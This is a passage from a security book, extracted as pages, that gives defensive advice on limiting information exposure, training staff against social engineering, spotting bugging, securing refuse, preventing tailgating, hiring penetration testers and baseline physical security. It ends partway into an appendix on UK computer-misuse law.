It’s far better that staff know that their\nconfidentiality agreements extend to the web and that this is enforced\nin the security policy. Encourage staff to be brief when posting online\nr´esum´es that anyone can read. (They can always send a more detailed\none later.) Accept the fact that your staff members are going to move on\nat some point and keep everything professional. On that note, I strongly\nencourage companies not to do business with recruitment agencies if at\nall possible. They call out of nowhere, expect all kinds of information and\nyou have no idea who they are. (A recruiter is often an ideal guise for a\nsocial engineer.) Corporations should advertise positions themselves on\nthe relevant forums; this is a job for the Human Resources department –\nit saves money and provides peace of mind.\nSocial-networking sites operate by getting as many users as possible on a\ncommon platform. This is a vulnerability in and of itself; if an attacker can\ncompromise the legitimate profile of one user, he is in an ideal position\nto launch attacks that require a degree of trust (i.e. Trojan Horses) against\nother connections.\nStaff members can’t be prevented from having a private life and posting\nanything they wish on the Internet. However, security professionals should\nmake it clear to employees that social and professional networking sites\nhave the potential to be misused by attackers. Security policy should\nsuggest that staff not accept connections from people they don’t know.\nThe privacy of Facebook and MySpace profiles is suspect. In particular,\nMI5 in the UK seem interested in these sites:\nMinisters revealed yesterday that they were considering policing messages\nsent via sites such as MySpace and Facebook, alongside plans to store\ninformation about every phone call, e-mail and internet visit made by\neveryone in the United Kingdom.\nMurad Ahmed (2009) ‘Facebook, Bebo and\nMySpace ‘‘to be monitored by security\nservices’’’, Times Online, 23 March 2009\n" }, { "page_number": 255, "text": "UNDERSTANDING THE SOURCES OF INFORMATION EXPOSURE\n233\nMaybe security service staff just want to justify their blogging time. But I\ndoubt it.\nCompany Websites\nIt’s an unfortunate fact that the vast majority of information used against\nan organization is obtained from the organization. By accessing the com-\npany website a surprising amount of data can usually be obtained. Public\ncompany websites can be useful for this purpose, however the public sites\nare often not the worse culprits. It’s quite common to have private sites (or\nat least sites that should be private) set up for the use of employees. These\nusually sit in the same Internet subnet (or at least the same Internet domain)\nas the public systems but are not publicly advertised in the belief that an\nattacker won’t be able to find them. In actual fact, one of the first things an\nattacker will do is identify public-facing websites. Because Internet ranges\nare not private information and can be accessed via public databases, such\nas RIPE or ARIN, these will tell an attacker what IP addresses a company\nowns. With that information, an attacker can simply scan those addresses\nfor web servers. To protect against this, ensure that the only web servers in\nyour demilitarized zone (DMZ) are publicly accessible systems that con-\ntain no confidential data. Private information that staff or partners need to\naccess should be accessed through a VPN. This is not always possible so,\nas a back-up, use strong authentication on the web servers and a naming\nconvention that doesn’t indicate the purpose of the server in question. For\nexample, dmz0112.companyx.com is fine but hr.companyx.com is not.\nPersonal Websites\nPersonal websites are another problem because people like to put a lot\nof information about themselves online. A lot of the time this includes\ndetails about their jobs. A lot of employers will (rightly) note that there\nis nothing intrinsically wrong with this and would probably encourage\nstaff to show they’re proud of where they work. However, sometimes the\nmost innocuous information can be useful to an attacker. Simply listing\nwhat you do and for whom can be the entry point for a social engineering\nattack. So how do you find a balance between security best practice and\noutright paranoia? The best policy is to encourage staff to separate their\nwork and home lives as much as possible and this is healthy anyway.\nUSENET\nThere was a time (and good times they were) when all discussions that took\nplace on the Internet were on USENET or IRC. Clearly times have changed\n" }, { "page_number": 256, "text": "234\nCOUNTER INTELLIGENCE\nwith web forums but adhering to the principles of safe conduct on the\nInternet has grown proportionally more important with the development\nof new technologies. I’ve singled USENET out in particular because it’s\nan inherently unsafe place to post virtually anything:\n•\nEverything you type can be linked to your IP address, leading back to\nyou even if haven’t used your real name or email address.\n•\nIt’s a completely open forum: anyone can view what you post.\n•\nArchives tend to keep posts indefinitely and make them searchable.\nAll of this means that an offhand comment someone made about their\nboss is going to be there forever. The person who posted the comment\nmay not be traceable but the IP address (which we hope wasn’t from\nwork) from which it was posted certainly is. Seriously though, security\nshould not permit posts to USENET from the company network unless\nrestricted to a few groups that might need it for specific projects. It is too\neasy to trace specific questions and remarks to the company.\nOther than that, the same advice applies as to social-networking sites: be\ncareful what is published and ensure staff do the same. What you write\ntoday is likely to be archived somewhere for quite some time to come.\nIRC and Instant Messaging\nIRC is a different kettle of fish entirely and my major objection to it is\nthat its traffic is unencrypted, though it’s also a popular attack vector for\nTrojans and other malware. (Even if you’re on an encrypted channel,\nyou’re not secure.) Consequently, it’s not really suitable for use as a\nbusiness communications tool. Many companies, however, use it as\nsuch.\nThere’s nothing intrinsically wrong with IRC if it is deployed on an internal\nserver and connections are restricted to those across the Internet via VPN.\nIf VPN is not an option, SSH tunnels are an excellent alternative. It may\nbe possible for an attacker to determine from personal websites which\nIRC channels are popular among specific staff, thus providing an easy\nroute to groom them.\nThe use of public IRC channels is nowhere near as popular as it used\nto be. These days, instant chat and social networking rules the roost\nand they’re not a great deal safer. Virtually all instant-messaging systems\nuse unencrypted protocols – though this can be mitigated with various\nadd-ons. I have discussed instant messaging in Chapter 10.\n" }, { "page_number": 257, "text": "SOCIAL ENGINEERING ATTACKS\n235\nSocial Engineering Attacks\nAssuming you’ve read Chapter 4, you’ve probably come to the conclusion\nthat these are the hardest attacks to defend against. Unfortunately, this\nis true. However, there are two major steps you can take to mitigate the\nrisk:\n•\nEnforce an Appropriate Security Policy – Documenting procedures\ncan minimize risk in any given area. If it is not possible for one person\nto release sensitive material then a vast amount of social engineering\nattacks can be stopped dead. Ensure that at least some of the people\ninvolved in the process are of a naturally skeptical mind.\n•\nEducate the staff – Ensure that staff members are aware of the threats\nthey face and the common attack vectors. This is the first and most\nimportant point. People who are not aware of the existence of risk\nhave no chance of defending against it.\nIt’s easy to make comments such as ‘Educate your staff against social\nengineering attacks!’ I suspect however that you are looking for a little\nmore than that. Security awareness training is much more than simply\ntelling users not to give out their passwords. Kevin Mitnick (the famous\nhacker and social engineer) has stated on more than one occasion that he\nnever once asked anyone for their password. The following areas should\nbe addressed as a baseline when educating staff:\n•\nUnderstanding the threat.\n•\nUnderstanding what has value.\n•\nRecognizing and dealing with a potential attack.\nUnderstanding the Threat\nThis is actually the hardest obstacle to overcome. The concept of targeted\nhacker and espionage attacks against a business are outside most peoples’\nsphere of experience and are consequently difficult to grasp. The ‘it can’t\nhappen here’ or ‘it won’t happen to me’ mentality is an attitude that most\npeople need to lose. A good way to train staff is to think of example\nscenarios that apply directly to your business; how would someone\nattack you and what would be their target assets? Chapter 4 explains the\nessentials of how these attacks are carried out. Security training sessions\nthat encourage role-playing exercises to demonstrate risks are effective\neducational techniques.\n" }, { "page_number": 258, "text": "236\nCOUNTER INTELLIGENCE\nTo draw on what we’ve covered earlier from the attacker’s perspective,\nthe following essentials need to be made clear:\n•\nConfidential data is confidential and passwords are personal –\nDemonstrating why security policies exist allows staff to see that\nit’s not merely an exercise in paranoia or bureaucracy. There are\nplenty of items in the news on a weekly basis that relate to security\nincidents. Presentations to employees should include recent and rel-\nevant attacks, as well as the financial and legal consequences for the\nbusinesses in question.\n•\nFriends are not always what they seem – A key problem is educating\nstaff not to place trust where it doesn’t belong. Striking a balance\nbetween security and the day-to-day reality of running a business\neffectively and efficiently is not always easy. For example, a social\nengineer may claim to be a senior member of the management\nteam to extract information by means of assumed authority, but on a\ndaily basis senior members of the management team probably pester\nfor information staff who’ve never met them. This is why security\nawareness is critical at all levels of the business. Even managers\nshould expect to be challenged under such circumstances.\n•\nAppearances can be deceptive – Uniforms are cheap. We discussed\nscenarios earlier in the book where security mechanisms were\nbypassed by an attacker wearing the uniform of a deliveryman or\na courier. Because such people flit in and out of businesses all the\ntime, they tend to be ignored, which is of course why the attack\nworks so well. Staff (particularly reception staff) need to understand\nthat such uniforms can be acquired by anyone and enhanced by cre-\nating or copying a logo on an inkjet printer. Again, all that’s needed is\nappropriate identification at the organizational barrier. Security policy\nshould ensure that delivery people who aren’t expected should not\nget in. People who can’t identify themselves appropriately don’t get\nin. Once identified, guests should be escorted to their destination or\nmet by their host in reception. Couriers should never be permitted\nbeyond reception no matter what their instructions are.\nUnderstanding What Has Value\nOne of the premises that social engineers use to obtain information is\ntargeting the perceived lack of value that a piece of information might\nhave. A phone directory is a good example; it’s hardly top secret. Everyone\nin the business has a copy so what possible worth would it have to an\nattacker? This attitude is often exploitable even when the victim may have\nlatent suspicions about the caller. A phone directory is of tremendous\nworth in a social engineering attack as demonstrated in Chapter 4.\n" }, { "page_number": 259, "text": "SOCIAL ENGINEERING ATTACKS\n237\nMake examples of the various assets and information within your organi-\nzation that would have tangible value to an attacker. Of course, this will\nvary from company to company but common themes include:\n•\nInformation on Staff – This can be anything from the (now ubiquitous)\nphone directory to Human Resources records.\n•\nProprietary Data – This means confidential data relating directly to\nthe core business interests of the company. The value of this should\nbe obvious – the problem lies in keeping it proprietary. One simple\nrule you should enforce within your organization is ensuring that your\nstaff lock their workstations even if they only step away for a moment.\nI once worked in a place that took this so seriously that anyone finding\nan unlocked computer was entitled to use it to send an email to the\nrest of the company informing them of the fact. This is excruciatingly\nembarrassing and no one made the same mistake twice.\n•\nFinancial Records – The value here might not be immediately obvious;\nafter all at the end of the day who cares what money goes in or out of\nthe accounts? This sort of information is tremendously valuable in the\nhands of people who can interpret it, for example, insider traders and\nthose looking to capitalize on a forthcoming merger or acquisition.\nIf the next quarter’s financials are not looking too good (this is pre-\nembargo information), profits can still be made by shorting company\nstock which – to cut a long story short – is something you want to\navoid. Conversely, leaked financial data can drive share prices down\nand can be used as part of a ‘short and distort’ attack, a common\n(though illegal) tactic in a bear market.\n•\nCommunications – In a company with more than a couple of hundred\nstaff members, it is not uncommon for mistakes to be made with email\ndistribution lists. It’s also far from impossible for an attacker to cause\nsuch a mistake to occur by manipulating staff into adding them to a\nlist or forwarding communications. Managers who leave their email\nto be dealt with by secretaries are particularly susceptible to this sort\nof attack. More daring attacks involve masquerading as staff members\nand asking for all faxes to be forwarded to another number.\n•\nPhysical Assets – Don’t forget the common thief! There is nothing\nmore frustrating than developing an information security policy to\ndeal with corporate spies and hackers only to have someone walk in\nand steal 20 laptops. That’s really embarrassing.\nRecognizing and Dealing with Threats\nThe goal in training staff is to prevent security incidents from occurring\nin the first place – ‘Constant Vigilance!’ as Mad-eye Moody would say.\n" }, { "page_number": 260, "text": "238\nCOUNTER INTELLIGENCE\nHowever, if staff suspect that they are being targeted how should they\nrespond? There are two possibilities:\n•\nRepeating the Company Line – ’No Sir, I can’t let you have that\ninformation without call-back verification’ or ‘I’m afraid nobody gets\nin the building without an appointment.’ Whatever. This is certainly\nthe safer option. It doesn’t put any undue pressure on your staff either.\nWhile security is everyone’s responsibility, receptionists shouldn’t be\nmade to feel like security guards. That’s simply not fair. However, if\na serious or well-orchestrated attack is believed to be in progress you\nmay want to go further than that.\n•\nEscalation – The escalation procedures staff take should reflect the\nnature of the attack. If an ‘attacker’ is on site, then security should\nimmediately be called. Examples of this include when someone wants\naccess to the site but can’t, or refuses to, identify themselves or when\nsomeone is approached for information and becomes belligerent\nafter refusal or a request for identification. If a social engineering\nattack is suspected via email or telephone then things become more\ncomplicated. Emails should be forwarded to the information secu-\nrity department with headers intact, telephone numbers should be\nrecorded for further investigation. Never trust Caller ID as the only\nmeans of indentifying a caller: spoofing it is trivial. Request a number\nto call back. Refusal to provide a number should, needless to say, be\nviewed suspiciously. Any call for information from a withheld num-\nber should be treated likewise. A standard social-engineering tactic\nwhen attackers are challenged is to make the victim fear for their job.\nThis should not deter staff. Anyone entitled to access a sensitive site\nor confidential information should be well versed in the company’s\nsecurity policy. In practical terms, staff should be taught that giving\naccess to an intruder is far more likely to be career limiting than\ntemporarily inconveniencing someone who should know better.\nIt’s important that your staff are able detect social-engineering attacks and\nthere are key signs to watch out for:\n•\nFeeling compelled to give out restricted information or to violate\ncompany security policy;\n•\nBeing unable to find and ask the appropriate person for confirmation;\n•\nBeing rushed;\n•\nBeing approached by someone who drops names and titles;\n•\nBeing afraid to cause delay or offense.\nFinally staff should know that if someone just doesn’t feel ‘right’ they can\ngo with their instincts.\n" }, { "page_number": 261, "text": "PROTECTING AGAINST ELECTRONIC MONITORING\n239\nProtecting Against Electronic Monitoring\nThe use of electronic monitoring or ‘bugging’ is a serious threat and one\nthat is far more widespread than generally believed. Luckily however, it\nis not a simple attack to execute or at least it’s not simple to execute well.\nThe equipment available from spy shops and used by private investigators\nis usually far below the quality available to intelligence agencies. Con-\nsequently, it’s relatively straightforward to protect yourself from bugging\nif you believe you have a problem and you know what to look for.\nThe following list covers some signs that may indicate you are under\nsurveillance. However, it is not exhaustive and no one issue implies you\nare under surveillance. Don’t get paranoid!\n•\nYou are the victim of a burglary yet nothing appears to have been\ntaken.\n•\nYou receive an electronic device as a gift and its origin is not clear\nor you receive such a gift from a vendor or another business partner.\nRemember, ‘beware Greeks bearing gifts’: there’s a reason why it’s a\nclich´e.\n•\nAn unexplained bump or discoloration suddenly appears on the wall,\nceiling or skirting.\n•\nElectrical wall plates appear to have been moved slightly.\n•\nA smoke detector, clock, lamp, or similar, in your office looks slightly\ncrooked or has a small hole in the surface. Semi-reflective surfaces\nare a tell-tale sign of covert cameras.\n•\nItems appear in your office, particularly on your desk, but nobody\nknows how they got there.\n•\nDust or debris is present on the floor next to the wall, as though\nsomeone has been drilling, or you notice small pieces of ceiling tiles\nor grit on the floor.\n•\nVans from a phone company or other utility are spending a lot of time\noutside the office building or service vehicles are often parked nearby\nand appear to be unoccupied (this doesn’t mean they are).\n•\nRepair people show up to do work when no one called them.\n•\nDoor locks suddenly feel different or stop working. This is a sign that\nsnap guns have been used to gain entry.\n•\nFurniture has moved slightly and no one knows why.\n•\nYou believe your drawers have been rummaged but nothing appears\nto be missing.\n•\nThere are strange sounds or volume changes on your phone lines or\nyou notice static, popping or scratching. This is caused by low-quality\nbugs interfering with or drawing power from your phone line.\n" }, { "page_number": 262, "text": "240\nCOUNTER INTELLIGENCE\n•\nSounds come from your phone handset when it’s hung up.\n•\nYour phone often rings and nobody is there, although there may be\nstatic or faint high-pitched tones.\n•\nYour AM/FM radio or your television suddenly develops strange\ninterference. Store-bought bugs use standard commercial frequencies\nand the quartz crystals that drive them often wander away from their\nprogrammed channels.\nHaving determined that you may have a problem, you need to decide\nhow to act. It’s tempting to take matters into your own hands and search\nfor bugs yourself. Don’t. It’s difficult to prove a negative and if you come\nup empty-handed you won’t have assured yourself of anything. There are\ncommercial bug-sweeping devices, again available from spy shops, but\nthese are next to useless. Any device under $1000 is little more than a\ntoy. If you believe your office is bugged or your phone line tapped you\nneed to bring in specialists and fast. Don’t be tempted to hire private\ninvestigators, for two reasons: they’re not qualified to do this kind of\nwork (although many advertise bug-sweeping services) and you need to\nconsider the possibility that you could end up hiring the people who\ninstalled the bug in the first place. There are companies that specialize\nin countering threats from bugs and these are the people you need to\ncall. Find one in your area (don’t use your office computer or phone) and\narrange to meet off the company premises. When you bring specialists\ninto the office make sure you provide them with adequate cover. A\ngood cover is a job interview or a financial audit but choose something\nappropriate and believable. At this stage, you don’t know who is behind\nthe surveillance. If possible tell no one else.\nSecuring Refuse\nIn Chapter 6, I discussed the dangers of ‘dumpster diving’. To recap,\nthis is where an intruder literally goes through your garbage looking for\ninformation that helps formulate or augment a plan of attack. While the\ndefenses to this may seem obvious, they’re clearly not or it wouldn’t be\na problem. There are things you need to take into consideration when\nmitigating the risk this poses:\n•\nWhat Ends Up in the Trash – If you can prevent (or least reduce the\nquantity of) confidential, sensitive or privileged information finding\nits way into the trash then the physical security of the dumpsters\nthemselves becomes a moot point. This should be your approach\nbefore thinking about anything else. Any paper waste that contains\nclient information, emails, phone lists, and so on should be shredded\n" }, { "page_number": 263, "text": "PROTECTING AGAINST TAILGATING AND SHOULDER SURFING\n241\nusing a cross shredder. How far you go beyond that is up to you. Some\ncompanies have policies that insist that all shredded information is\nburned or transported to the local dump by trusted parties. However\nthis is not practical in my opinion. Avoid throwing electronic media\nin the trash if possible but all media you do discard should be\ncryptographically scrubbed prior to disposal (see Chapter 6).\n•\nDumpster Security – Ideally, refuse containers should be secure\nthough this is not as easy as it sounds and far from practical. Dump-\nsters need to be accessed by at least two parties: the cleaning crew\nand the collection crew. If the dumpsters are locked, these people\nneed to be issued with keys. This requires the use of a dedicated waste\ncompany that specializes in secure collection; such companies exist\n(and they supply their own containers) but expect to pay a premium.\n•\nLocation – This is easiest and most obvious countermeasure to dump-\nster diving. The goal is to make the risk of getting caught exceed the\npotential reward of finding information worth stealing. If your dump-\nsters are located behind locked gates and well within the company\nboundaries, an intruder has to commit a crime simply to open the\ndumpster. In a well-lit facility with a good security deterrent such as\ncameras and nightly patrols, most people will think twice. On the\nother hand, a lot of companies store their dumpsters in locations that\nare technically off their land which means you can do very little to\nstop raiders – both physically and legally.\nDumpster diving is one of the first things a private detective, social\nengineer or journalist will attempt when profiling your site or staff – don’t\nmake it easy for them.\nProtecting Against Tailgating and Shoulder Surfing\nTailgating and shoulder surfing are two attacks that are very easy to\ndetect if staff are aware of the threat and keep their wits about them.\nThese attacks are often successful because people are usually unwilling to\nchallenge others. I’ve performed enough tailgating attacks to know that,\nthe vast majority of the time, the worst you’ll suffer is a stern look and\neven that is the exception to the rule. Often people open the door for you\nif you ask them politely. There are two ways to prevent tailgating attacks:\n•\nEducate Employees – Making your staff aware of the threat is the basis\nof any security strategy (as I’ve repeated throughout this book). If\nsomeone follows you through a door, particularly if they seem to have\nbeen waiting by it or if they swoop in out of nowhere, don’t be afraid\nto ask to see their pass or badge. If this is made compulsory within\nthe site security policy, people will have less of a problem complying\n" }, { "page_number": 264, "text": "242\nCOUNTER INTELLIGENCE\nwith it. Nobody wants to feel like a jerk so this will put everyone on\nan equal footing.\n•\nImplement Physical Access Control – It’s possible to install physical\ncontrols, such as man traps, that make tailgating impossible. These are\nbecoming a more common sight at the borders of large companies.\nHowever, the problem is that tailgating attacks don’t tend to occur\nat the border, but within the site itself. Once the border has been\ncrossed, it is completely impractical to have this form of access control\neverywhere and most sites implement some form of proximity token\nsolution to prevent unauthorized access. Gaining physical access to\nany site is never quite as difficult as you might imagine, so it is\nmuch better to ensure that staff understand the risks (and are prepared\nto challenge potential intruders) than it is to rely on any physical\nautomated system.\nShoulder surfing can be a problem wherever passwords or access codes\nare used i.e. logging on to computers or opening doors. The same advice\napplies here as it does to tailgating: Be aware of your surroundings\nwhen handling confidential information, particularly passwords. Staff\nshould never be afraid to ask someone to look away when they’re typing\npasswords or to cover the key pad when entering door codes. If they\nbelieve someone is actively trying to acquire passwords or access codes\nthey should be encouraged to call security immediately. Many passwords\nare stolen not by someone watching a user type them, but by someone\nreading them on peoples’ desks. The clich´e of the password on the note\ntaped to someone’s monitor is a clich´e for a reason: People do it. This\nshould be a violation of company security policy.\nPerforming Penetration Testing\nRegular penetration testing is a critical element in the overall security\nstrategy. Testing gives you a good idea of how strong your security\nposition is and how much work you have to do. What you have tested\n(and how often) is unique to your organization and your individual\npreferences but broadly speaking penetration tests fall into two distinct\ncategories: physical and electronic (with electronic being by far the most\npopular).\nPhysical Testing\nThe purpose of physical testing is to determine:\n•\nthe effectiveness of border security controls;\n•\nthe effectiveness of internal site security controls;\n" }, { "page_number": 265, "text": "PERFORMING PENETRATION TESTING\n243\n•\nthe susceptibility of staff to manipulation;\n•\nthe susceptibility of an organization to information leakage;\n•\nthe effectiveness of a security policy that has been implemented;\n•\nthe overall threat an organization faces from physical attack.\nWhen executed correctly, a physical penetration test can tell you a lot\nabout your vulnerability. Usually it will tell you are vulnerable in a\nnumber of areas and there is therefore little point in engaging a test\nfor purely speculative reasons but with specific goals in mind. Good\nexamples are:\n•\nto identify weak points in specific areas;\n•\nto test the implementation of recently deployed systems or procedures;\n•\nas part of a regular audit to test the adherence to a security policy;\n•\nto independently verify the existence of risks you know or suspect\nto be present (this is usually necessary in order to justify budget\nincreases);\n•\nto simulate an attack by a specific group or threat category. These are\nusually highly specific to an organization.\nPhysical penetration testing is a relatively recent consultancy offering (in\nthe commercial sector at least), so it can be difficult to decide who to use.\nThis difficulty is made more complex by the fact that the nature of the work\ncan make reports quite subjective and ephemeral. Electronic penetration\ntesting suffers from the same problems but is a more mature industry with\nclearly defined standards, benchmarks and classes of vulnerability. It’s far\nharder to gauge the competency and experience of physical penetration\ntesters. It would be inappropriate to make specific recommendations or\ndiscuss the firm I work for but at the very least you should look for the\nfollowing:\n•\nProven Experience – Firms should be able to demonstrate a successful\ntrack record in executing assignments of this nature. Many security-\ntesting firms now advertise physical testing on their website as part\nof their consultancy portfolio. This doesn’t mean they’ve actually\ndone any in the past. Always ask for references. Any reputable\ncompany with a solid background will be able to provide at least two\nverifiable references. If you’re stonewalled with the response that these\ncan’t be provided ‘for security reasons’, terminate the conversation\nimmediately.\n•\nDocumented Methodology – This is absolutely critical. A methodol-\nogy doesn’t have to have an impressive name but it must be repeatable\nand thorough. Any company that tells you what they do is a black\n" }, { "page_number": 266, "text": "244\nCOUNTER INTELLIGENCE\nart and can’t be documented or again won’t discuss it ‘for secu-\nrity reasons’ is wasting your time (and wants to waste your money).\nWithout a methodology, a test cannot be repeatable and is therefore\nmeaningless.\n•\nRespect in the Industry – Anyone can make a website and call them-\nselves anything they want but true professionals stand out. You’ll\nsee them lecturing at events and trade shows, releasing research and\npapers or even writing books. The professionals are the people the\nmedia call when they need comments. Security professionals aren’t\nshy about their extracurricular activities and you won’t have to look\nfar to get a feel for the people you’re dealing with.\nElectronic Testing\nThis more classic form of penetration testing is used to determine the\nvulnerability of your computer systems, networks and applications to\nelectronic attack usually (but not exclusively) from the Internet. Clearly,\nan organization that is going to consider physical penetration testing\nshould already be conducting the electronic variety. An attacker has to be\nserious to enter a facility, but anyone, anywhere can probe Internet-facing\nhosts on a whim with a far smaller chance of getting caught.\nToday, the term ‘penetration testing’ as it applies to computers is used\nerroneously as very few people actually want this service. Most of the work\nthat is conducted in this field is actually ‘security auditing’ and this is not\nnecessarily a bad thing. Penetration testing (or ethical hacking) is about\nfinding flaws and gaining access in the same way as an attacker, whereas\nauditing is simply trying to find and report on all the vulnerabilities\npresent in the systems under test. Clearly the latter is far more thorough\nand unquestionably better value for money. Often the two services are\ncombined, with a penetration test following an audit to make a clear\ndemonstration of vulnerability, though this is not always necessary.\nPenetration testing or security auditing is expensive, so consider carefully\nwhere the exercise would be most valuable. Some of the areas to think\nabout include:\n•\nBorder Security – This is a test of the infrastructure between your\ninternal network and the Internet. An intruder gaining access to\ninternal systems is the worst-case scenario so your border has to be\nsecure.\n•\nDemilitarized Zone (DMZ) – These are usually the most exposed\nservers as their job is to provide services to the Internet.\n•\nInternal Subnets – The threat to information systems doesn’t always\ncome from the Internet but from disgruntled members of staff and\n" }, { "page_number": 267, "text": "BASELINE PHYSICAL SECURITY\n245\nindustrial spies that have infiltrated the company. Many organizations\nnow engage ‘internal penetration testing’, even if this is something of\na misnomer.\n•\nApplications – One of the current most common vectors of attack\nis against a company’s Internet-facing web applications. There are\nthree reasons for this. They tend not to be audited as well the infras-\ntructure because application testing requires specialist programming\nknowledge above and beyond that maintained by network tester.\nVulnerabilities tend to be deeper than those that can be exploited\nautomatically by Internet worms – meaning they can lie dormant\nfor some time. Finally, because of common coding errors and poor\nback-end database configuration, a lot of confidential information can\nbe extracted by an attacker. It’s a good idea to have web applications\naudited by teams specializing in this area.\nThe advice about choosing a testing company wisely is just as relevant\nhere. There are a number of accreditations that apply directly to electronic\npenetration testing. Several are discussed in the appendices, although I’m\nwouldn’t hire anyone solely on that basis. Don’t be afraid to get a\nprospective team in for a meeting and quiz them on their background\nand experience. Penetration testing is a serious business and you want to\nmake sure it’s being conducted competently.\nMy final advice is simple: A penetration test (whether it is physical or\nelectronic) is only a snapshot in time. It doesn’t guarantee that you’ll\nbe secure next month (or even next week). Testing only gives you an\nidea of where you are right now. Even if your computer infrastructure\nand applications don’t change, a new software bug could be published\nthat will render you deeply vulnerable (though it could be argued that\nyou were vulnerable from the moment you installed the software). New\nstaff will join the company and need training in security practices and\nawareness. The nature of the threats themselves change all the time.\nSecurity is an ongoing process on many different levels. While penetration\ntesting is an excellent complement to that process, it is not an end in\nitself nor is it a quick fix. It is something that needs to be conducted on\na regular basis to have any kind of long-term intrinsic value and, even\nthen, there is no guarantee that it will keep the bad guys out. Testing is\nonly as good as the people conducting it.\nBaseline Physical Security\nWhen we talk about physical security (or, for that matter, security in\ngeneral), a key phrase to keep in mind is ‘defense in depth’. Your goal\nis to mitigate any given threat as much as is feasibly possible and this\n" }, { "page_number": 268, "text": "246\nCOUNTER INTELLIGENCE\napproach should be layered. Start by considering the assets you need to\nsecure then work outwards thinking about things such as room security,\nbuilding security and the perimeter itself. This is something that must be\nthought through before drafting the security policy. In fact, we now revisit\nseveral areas previously discussed in Chapter 10. Pay close attention to\nthe following points:\n•\nthe consequences that would arise from the theft or loss of the asset;\n•\nthe level of threat and the vulnerability this creates;\n•\nthe value (financial or otherwise), quantity and nature of the assets\nyou need to protect;\n•\nthe unique circumstance at your particular site, for example, the\nenvironment and location and whether premises are shared.\nOffice Areas\nIn any office environment, but particularly those that are open plan, a\n‘clear desk policy’ should be instituted. This is primarily to ensure that\nconfidential material is not left lying around but it should be applied to\nall data, for example, sticky notes and memos.\nComputer monitors should not be positioned in a manner that allows or\nencourages covert monitoring via windows, reflective surfaces or similar.\nIn theory, screens should only be visible to the user and the user should\nbe aware if they are being watched though this is not always practical\nin an office environment. If financially viable, use monitors that are not\nvisible when viewed at an angle; this is a property of certain brands of\nflat screen.\nBuilding Security\nIt is desirable to have as few points of ingress and egress as is practically\nand safely possible. Where these points exist ensure they are appropriately\ncovered by access control, intrusion-detection systems and guards. No\nphysical security mechanism is undefeatable but your goal should be the\nthree Ds: Deterrence of intrusion, Detection of intrusion and Delaying an\nintruder’s penetration or escape.\nPhysical access control can be provided by a combination of human\nguards and various technical measures and these should be deployed\nwith the maxim of ‘defense in depth’ in mind. No one security measure\nshould be relied upon. In particular, it should not solely be the role of\nfrontline staff, such as receptionists, to provide security. They should be\naugmented by:\n" }, { "page_number": 269, "text": "SUMMARY\n247\n•\npass or ID badge system;\n•\npass-activated doors, turnstiles, and so on;\n•\nrandom searching at entrances and exits (where appropriate and\nlegally permissible);\n•\nCCTV.\nHowever, as frontline staff are by their very nature exposed to a greater\ndegree of potential risk, their selection should be carefully considered.\nPerimeter Security\nA perimeter can be many things. It can be defined by any combination of\nthe following:\n•\na natural boundary;\n•\nfences or walls;\n•\nvehicle barriers, such as bollards;\n•\nthe outer wall of the building itself.\nFrom a security perspective, the perimeter creates a physical, psychologi-\ncal and legal boundary. A perimeter’s effectiveness as a security measure is\nenhanced by the deployment of a variety of perimeter intrusion-detection\nsystems such as:\n•\nguard patrols;\n•\nsecurity floodlighting;\n•\nCCTV.\nOnce again the watchwords are ‘defense in depth’. Floodlighting is an\nexcellent measure as it provides deterrence at night and immediately\nimproves intruder-detection capabilities, but only if there are guard\npatrols or CCTV to make use of the enhanced visibility the floodlighting\nprovides.\nSummary\nThis chapter has taken the focus away from the attacker to look at some of\nthe ways you can think about protecting against the attacks described in\nthis book. From that perspective there’s a reasonable amount of overlap\nwith Chapter 10, where the discussion revolved around the formal\ndocumentation of a security policy. The areas covered in this chapter\ninclude:\n" }, { "page_number": 270, "text": "248\nCOUNTER INTELLIGENCE\n•\nUnderstanding the Sources of Information Exposure – Many of the\ninformation leaks an organization suffers are inadvertent and acciden-\ntal, though many are not. Knowing where you’re weak and mitigating\nthese areas is critical. Examples given include limiting information on\ncorporate websites and educating your staff on limiting the exploitable\ninformation that they post about themselves on the Internet.\n•\nMitigating the Threat of Social Engineering Attacks – Understanding\nthe threat and educating staff is the key. Staff should recognize the\nvalue of even seemingly innocuous information in the hands of an\nattacker and be able to recognize potential social engineering attacks.\n•\nReducing the Risk of Electronic Monitoring – There are a number of\nways to detect if you have this problem (also known as bugging).\n•\nEngaging a Penetration Testing Team – Penetration tests, both phys-\nical and electronic, are highly recommended for gaining an insight\ninto your current security position. Be warned, though, that testing\nteams are not equal in experience or competence.\n•\nBaseline Security – These are things you really have to tie down before\nyou concentrate on the more complex aspects of physical or system\nsecurity.\n" }, { "page_number": 271, "text": "Appendix A\nUK Law\nLaws are applied to enemies, but only interpreted as regards friends.\nGiovanni Giolitti, 1842–1928\nPenetration testing, whether physical or electronic, carries with it a\ncertain degree of inherent legal risk. It’s important to understand the\nrelevant legislation and how it affects penetration testers. It is sometimes\nvery easy for a perfectly legal test to inadvertently cross the line into\nquestionable legal territory. Usually this happens when the tester exceeds\nthe scope of the test or the rules of engagement, but sometimes you\ncan be engaged to do work (with both sides acting in good faith) that\nis intrinsically illegal. Understanding the law ensures that you don’t put\nyourself (or your clients) in a legally vulnerable position. The legislation\nmost relevant to the penetration tester may be found in the following acts\nof parliament:\n•\nThe Computer Misuse Act 1990 and 2006.\n•\nThe Human Rights Act 1998 (particularly Article 8).\n•\nThe Regulation of Investigatory Powers Act 2000.\n•\nThe Data Protection Act 1984 and 1998.\nWe examine this legislation and I give examples of how you might fall\nfoul of the law. You may be surprised.\nComputer Misuse Act\nThis act was passed in 1990, largely in response to the eventual acquittal\nof Robert Schifreen and Steve Gold for hacking offences (which at the\ntime were not adequately defined in British legislation). The law as it\n" }, { "page_number": 272, "text": "250\nUK LAW\nstood prior to 2006 was very simple. It comprised the following three\noffences:\n•\nUnauthorized access\nYou need to be able to prove the suspect knew his access was not\nauthorized. The maximum prison sentence is six months imprisonment\nor £5000 or both.\n•\nUnauthorized access with intent to commit or facilitate commission\nof further offences\nYou need to be able to prove the suspect carried out the hacking to\nfurther some other criminal intention, such as theft. The penalties are\nthe same as for unauthorized access.\n•\nUnauthorized modification of computer material\nThis is aimed at vandals and those who manufacture worms or\ncomputer viruses. Carries a five-year prison sentence and an unlimited\nfine.\nThis is all pretty clear. So how does it affect penetration testers? Consider\nthe following possibilities:\n•\nYou are conducting a black-box penetration test that includes an\nelement of computer attack. Due to a miscommunication or an\nuncertainty about computer ownership, you attack and compromise\ncomputers that don’t belong to the target. The Computer Misuse Act\nstates that ‘the intent need not be directed at any particular computer.’\nYou didn’t intend to hack that specific 